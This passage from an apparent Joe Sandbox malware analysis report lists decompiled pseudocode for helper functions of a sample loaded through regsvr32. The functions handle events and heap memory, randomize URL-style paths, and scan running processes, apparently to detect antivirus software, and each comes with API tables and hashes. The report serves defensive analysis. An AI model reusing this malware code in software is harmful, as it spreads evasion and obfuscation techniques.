					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E00D828B3(_t23);
						}
					}
					return _t38;
				}
				if(E00D86ADC(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0xd8a34c, 1, 0,  *0xd8a3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E00D85704(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E00D84C94(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E00D87220(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E00D849D0( &_v32, _t39);
					goto L13;
				}
			}












                    0x00d869e6
                    0x00d869f3
                    0x00d869f9
                    0x00d869fa
                    0x00d869fb
                    0x00d869fc
                    0x00d869fd
                    0x00d86a01
                    0x00d86a0d
                    0x00d86a11
                    0x00d86a99
                    0x00d86a99
                    0x00d86a9c
                    0x00d86a9e
                    0x00d86aa6
                    0x00d86aac
                    0x00d86aaf
                    0x00d86aaf
                    0x00d86aac
                    0x00d86aba
                    0x00d86aba
                    0x00d86a24
                    0x00d86a26
                    0x00d86a26
                    0x00d86a3d
                    0x00d86a41
                    0x00d86a44
                    0x00d86a4f
                    0x00d86a56
                    0x00d86a56
                    0x00d86a5f
                    0x00d86a63
                    0x00d86a71
                    0x00d86a65
                    0x00d86a65
                    0x00d86a66
                    0x00d86a67
                    0x00d86a68
                    0x00d86a69
                    0x00d86a6a
                    0x00d86a6a
                    0x00d86a76
                    0x00d86a79
                    0x00d86a7d
                    0x00d86a7f
                    0x00d86a7f
                    0x00d86a86
                    0x00000000
                    0x00d86a88
                    0x00d86a88
                    0x00d86a95
                    0x00000000
                    0x00d86a95

                    APIs
                    • CreateEventA.KERNEL32(00D8A34C,00000001,00000000,00000040,?,?,74D0F710,00000000,74D0F730), ref: 00D86A37
                    • SetEvent.KERNEL32(00000000), ref: 00D86A44
                    • Sleep.KERNEL32(00000BB8), ref: 00D86A4F
                    • CloseHandle.KERNEL32(00000000), ref: 00D86A56
                      • Part of subcall function 00D85704: WaitForSingleObject.KERNEL32(00000000,?,?,?,00D86A76,?,00D86A76,?,?,?,?,?,00D86A76,?), ref: 00D857DE
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Event$CloseCreateHandleObjectSingleSleepWait
                    • String ID:
                    • API String ID: 2559942907-0
                    • Opcode ID: dd9eb5133674e4550efd8e36f641669c997d8c69941a138050d74f42b347e875
                    • Instruction ID: ad02ba041c6642909c8478647d8ca0172e0256f4ffc8a46c2e484d4a3ba0d548
                    • Opcode Fuzzy Hash: dd9eb5133674e4550efd8e36f641669c997d8c69941a138050d74f42b347e875
                    • Instruction Fuzzy Hash: D8216272D00219ABCF20BFE598859EEB7BDEB04320B098429FA51F7200D735DD458BB0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D84461 Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 78%
                    			E00D84461(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E00D833DC(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                    0x00d8446d
                    0x00d84471
                    0x00d84472
                    0x00d84473
                    0x00d84475
                    0x00d84477
                    0x00d8447a
                    0x00d8447f
                    0x00d84516
                    0x00d8451d
                    0x00d8451d
                    0x00d84488
                    0x00d8448f
                    0x00d8449f
                    0x00d8449f
                    0x00d844a5
                    0x00d844a7
                    0x00d844ac
                    0x00d844b5
                    0x00d844bb
                    0x00d844c0
                    0x00d844cb
                    0x00d844cf
                    0x00d844d1
                    0x00d844d2
                    0x00d844db
                    0x00d844df
                    0x00d844f0
                    0x00d844e1
                    0x00d844e6
                    0x00d844eb
                    0x00d844fa
                    0x00d844fa
                    0x00d844cf
                    0x00d84500
                    0x00d84506
                    0x00d84506
                    0x00d8450f
                    0x00d84514
                    0x00d84514
                    0x00000000

                    APIs
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: FreeSleepStringlstrlenmemcpy
                    • String ID:
                    • API String ID: 1198164300-0
                    • Opcode ID: 76e2792abe305a3aea5cd1c9d3d36752c7c69067ea61b16604a6164c1403c4b0
                    • Instruction ID: 725dde14989dddd964b362e1cf5e921bfd9c31d732fa9a3710cc582166ec56e2
                    • Opcode Fuzzy Hash: 76e2792abe305a3aea5cd1c9d3d36752c7c69067ea61b16604a6164c1403c4b0
                    • Instruction Fuzzy Hash: 9721417590020AEFCB11EFA8D984D9EBBB8FF48354B2481A9E945D7310EB70DA01CB70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D82708 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E00D82708(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0xd8a2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0xd8a2f0; // 0xd2be4a39
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0xd8a2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                    0x00d82710
                    0x00d82713
                    0x00d82719
                    0x00d82731
                    0x00d82733
                    0x00d82738
                    0x00d8273a
                    0x00d8273d
                    0x00d8273f
                    0x00d82742
                    0x00d82744
                    0x00d82744
                    0x00d82746
                    0x00d82751
                    0x00d82756
                    0x00d82767
                    0x00d8276f
                    0x00d82774
                    0x00d82777
                    0x00d8277a
                    0x00d8277c
                    0x00d8277f
                    0x00d82782
                    0x00d82782
                    0x00d82785
                    0x00d82790
                    0x00d82795
                    0x00d8279f

                    APIs
                    • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00D86708,00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D82713
                    • RtlAllocateHeap.NTDLL(00000000,?), ref: 00D8272B
                    • memcpy.NTDLL(00000000,050E9600,-00000008,?,?,?,00D86708,00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D8276F
                    • memcpy.NTDLL(00000001,050E9600,00000001,00D83ECE,00000000,050E9600), ref: 00D82790
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: memcpy$AllocateHeaplstrlen
                    • String ID:
                    • API String ID: 1819133394-0
                    • Opcode ID: 02bff78e2b6c85db0fab836bfb0786a3bca260c7bb4b6f5ebfd50c5b62f9d37c
                    • Instruction ID: 33df94f7d29c1ef5affa1cc1c11345092795429e978d74641e3d4d6a82926c67
                    • Opcode Fuzzy Hash: 02bff78e2b6c85db0fab836bfb0786a3bca260c7bb4b6f5ebfd50c5b62f9d37c
                    • Instruction Fuzzy Hash: 03110872A00315AFD7209F69DC88EAEBBFEEB90760B190176F904D7250E7759E0497B0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D830D5 Relevance: 6.0, APIs: 4, Instructions: 41processCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E00D830D5() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0xd8a348; // 0x435d5a8
						_t2 = _t9 + 0xd8be88; // 0x73617661
						_push( &_v264);
						if( *0xd8a12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}









                    0x00d830e0
                    0x00d830ea
                    0x00d830ee
                    0x00d830f8
                    0x00d83129
                    0x00d830ff
                    0x00d83104
                    0x00d83111
                    0x00d8311a
                    0x00d83131
                    0x00d8311c
                    0x00d83124
                    0x00000000
                    0x00d83124
                    0x00d83132
                    0x00d83133
                    0x00000000
                    0x00d83133
                    0x00000000
                    0x00d8312d
                    0x00d83139
                    0x00d8313e

                    APIs
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D830E5
                    • Process32First.KERNEL32(00000000,?), ref: 00D830F8
                    • Process32Next.KERNEL32(00000000,?), ref: 00D83124
                    • CloseHandle.KERNEL32(00000000), ref: 00D83133
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                    • String ID:
                    • API String ID: 420147892-0
                    • Opcode ID: 7d0a5d577ba5eaf66d9e571b83b40543d7f15479162921b9290507c11745979f
                    • Instruction ID: 189eb3f9d3a2de2948c402428c4a116dccdabb0f5236a125198b6fe20f57ca25
                    • Opcode Fuzzy Hash: 7d0a5d577ba5eaf66d9e571b83b40543d7f15479162921b9290507c11745979f
                    • Instruction Fuzzy Hash: 56F0B4321017246ADB20F7669C4EEEB77ACDBC5F10F0400A2FA49D3101EB24CB498BB1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D87843 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D87843(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                    0x00d8784d
                    0x00d87851
                    0x00d87866
                    0x00d87868
                    0x00d8786d
                    0x00d87873
                    0x00d87875
                    0x00d8787a
                    0x00d87885
                    0x00d8787c
                    0x00d8787c
                    0x00d8787c
                    0x00d8787a
                    0x00d87893

                    APIs
                    • memset.NTDLL ref: 00D87851
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,74CF81D0,00000000,00000000), ref: 00D87866
                    • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D87873
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00D83F34,00000000,?), ref: 00D87885
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: CreateEvent$CloseHandlememset
                    • String ID:
                    • API String ID: 2812548120-0
                    • Opcode ID: b0966e49f0ae94107b840af893ba9e240d92e32db586396486de3e14b67c1cef
                    • Instruction ID: a275461d2bdfc0c5b6de4e8e28b07d2c7f8cf90e1ded88d7fa223d2a1d35e2e4
                    • Opcode Fuzzy Hash: b0966e49f0ae94107b840af893ba9e240d92e32db586396486de3e14b67c1cef
                    • Instruction Fuzzy Hash: 2CF03AB110430C6FD3206F26DC84C6BBBACEB8129CB25492EB18292211D671E8088B70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71F1E Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D71F1E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0xd741b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0xd741bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0xd741ac = _t3;
						_t5 = GetCurrentProcessId();
						 *0xd741a8 = _t5;
						 *0xd741b0 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0xd741a4 = _t6;
						if(_t6 == 0) {
							 *0xd741a4 =  *0xd741a4 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}










                    0x00d71f1f
                    0x00d71f2d
                    0x00d71f33
                    0x00d71f3a
                    0x00d71f91
                    0x00d71f91
                    0x00d71f3c
                    0x00d71f44
                    0x00d71f51
                    0x00d71f51
                    0x00d71f8d
                    0x00d71f8f
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d71f46
                    0x00d71f4d
                    0x00d71f53
                    0x00d71f53
                    0x00d71f58
                    0x00d71f66
                    0x00d71f6b
                    0x00d71f71
                    0x00d71f77
                    0x00d71f7e
                    0x00d71f80
                    0x00d71f80
                    0x00d71f8a
                    0x00d71f4f
                    0x00d71f4f
                    0x00000000
                    0x00d71f4f
                    0x00d71f4d

                    APIs
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00D71231), ref: 00D71F2D
                    • GetVersion.KERNEL32 ref: 00D71F3C
                    • GetCurrentProcessId.KERNEL32 ref: 00D71F58
                    • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00D71F71
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: Process$CreateCurrentEventOpenVersion
                    • String ID:
                    • API String ID: 845504543-0
                    • Opcode ID: 0f6f1928d24fa697b8806d12f3506afa90644a0bd41d9ab50b03ac57d1be0aef
                    • Instruction ID: 9bbaa7a87858667b37f1625b92cbf1123a88cbcafec84098920a927f144a42c4
                    • Opcode Fuzzy Hash: 0f6f1928d24fa697b8806d12f3506afa90644a0bd41d9ab50b03ac57d1be0aef
                    • Instruction Fuzzy Hash: 54F08C36685310DFEB22AF6CBC0A7957BA0AB15711F448226E90DC63E0F77085C1CB34
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D83230 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D83230() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0xd8a30c; // 0x2ec
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0xd8a35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0xd8a30c; // 0x2ec
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0xd8a2d8; // 0x4cf0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                    0x00d83230
                    0x00d83237
                    0x00d83281
                    0x00d83283
                    0x00d83283
                    0x00d8323b
                    0x00d83241
                    0x00d83246
                    0x00d8324a
                    0x00d83250
                    0x00d83257
                    0x00000000
                    0x00000000
                    0x00d83259
                    0x00d8325e
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d8325e
                    0x00d83260
                    0x00d83268
                    0x00d8326b
                    0x00d8326b
                    0x00d83271
                    0x00d83278
                    0x00d8327b
                    0x00d8327b
                    0x00000000

                    APIs
                    • SetEvent.KERNEL32(000002EC,00000001,00D8109A), ref: 00D8323B
                    • SleepEx.KERNEL32(00000064,00000001), ref: 00D8324A
                    • CloseHandle.KERNEL32(000002EC), ref: 00D8326B
                    • HeapDestroy.KERNEL32(04CF0000), ref: 00D8327B
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: CloseDestroyEventHandleHeapSleep
                    • String ID:
                    • API String ID: 4109453060-0
                    • Opcode ID: 7834cc2e9c2bebaa04a2d5b336082e33322f4f7b5f1dc44e24eb50c86f74e17c
                    • Instruction ID: a09395e7dab21ba5747cd4cf532fcdfb84693a491e34a065c0059c721749e041
                    • Opcode Fuzzy Hash: 7834cc2e9c2bebaa04a2d5b336082e33322f4f7b5f1dc44e24eb50c86f74e17c
                    • Instruction Fuzzy Hash: BEF03075A2131197EB20AB799D98B5637DCAB04B61B0C0510BD04E73E1DB20D9409774
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D85364 Relevance: 6.0, APIs: 4, Instructions: 29sleepmemoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 50%
                    			E00D85364(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0xd8a3cc; // 0x50e9600
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0xd8a3cc; // 0x50e9600
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0xd8a030) {
					HeapFree( *0xd8a2d8, 0, _t8);
				}
				_t13[1] = E00D812C6(_v0, _t13);
				_t10 =  *0xd8a3cc; // 0x50e9600
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}










                    0x00d85364
                    0x00d85364
                    0x00d8536d
                    0x00d8537d
                    0x00d8537d
                    0x00d85382
                    0x00d85387
                    0x00000000
                    0x00000000
                    0x00d85377
                    0x00d85377
                    0x00d85389
                    0x00d8538d
                    0x00d8539f
                    0x00d8539f
                    0x00d853af
                    0x00d853b2
                    0x00d853b7
                    0x00d853bb
                    0x00d853c1

                    APIs
                    • RtlEnterCriticalSection.NTDLL(050E95C0), ref: 00D8536D
                    • Sleep.KERNEL32(0000000A), ref: 00D85377
                    • HeapFree.KERNEL32(00000000,00000000), ref: 00D8539F
                    • RtlLeaveCriticalSection.NTDLL(050E95C0), ref: 00D853BB
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                    • String ID:
                    • API String ID: 58946197-0
                    • Opcode ID: 9e97565bb1006fc2a38272ff19aed01d0a1085214facfaec1d2c32c9a0c73118
                    • Instruction ID: f16dd1b07988068ee490e79d321a66211d5f90d7bf14f5f8f6d3cc057c620fd7
                    • Opcode Fuzzy Hash: 9e97565bb1006fc2a38272ff19aed01d0a1085214facfaec1d2c32c9a0c73118
                    • Instruction Fuzzy Hash: 03F05870210702EBEB20AFA9EC48F267BE8AF00381B088411F681D6375C630D840DB36
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D8607C Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E00D8607C() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0xd8a3cc; // 0x50e9600
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0xd8a3cc; // 0x50e9600
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0xd8a3cc; // 0x50e9600
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0xd8b142) {
					HeapFree( *0xd8a2d8, 0, _t10);
					_t7 =  *0xd8a3cc; // 0x50e9600
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                    0x00d8607c
                    0x00d86085
                    0x00d86095
                    0x00d86095
                    0x00d8609a
                    0x00d8609f
                    0x00000000
                    0x00000000
                    0x00d8608f
                    0x00d8608f
                    0x00d860a1
                    0x00d860a6
                    0x00d860aa
                    0x00d860bd
                    0x00d860c3
                    0x00d860c3
                    0x00d860cc
                    0x00d860ce
                    0x00d860d2
                    0x00d860d8

                    APIs
                    • RtlEnterCriticalSection.NTDLL(050E95C0), ref: 00D86085
                    • Sleep.KERNEL32(0000000A), ref: 00D8608F
                    • HeapFree.KERNEL32(00000000), ref: 00D860BD
                    • RtlLeaveCriticalSection.NTDLL(050E95C0), ref: 00D860D2
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                    • String ID:
                    • API String ID: 58946197-0
                    • Opcode ID: cb9282badb139dc93152ee839677af15847c4cf6675a4cf93ba02e0794a035c3
                    • Instruction ID: 71917f5c7eab4941bc13b0683e023e096ef2f02abaf87c37778de85203a15bbd
                    • Opcode Fuzzy Hash: cb9282badb139dc93152ee839677af15847c4cf6675a4cf93ba02e0794a035c3
                    • Instruction Fuzzy Hash: 82F0F874220301AFE718EF99DC59F257BB5AB44311B09401AEA42DB3B0C734EC44DB3A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D82058 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 58%
                    			E00D82058(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E00D833DC(_t2);
				if(_t34 != 0) {
					_t30 = E00D833DC(_t28);
					if(_t30 == 0) {
						E00D861DA(_t34);
					} else {
						_t39 = _a4;
						_t22 = E00D87AE9(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E00D87AE9(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                    0x00d82058
                    0x00d82062
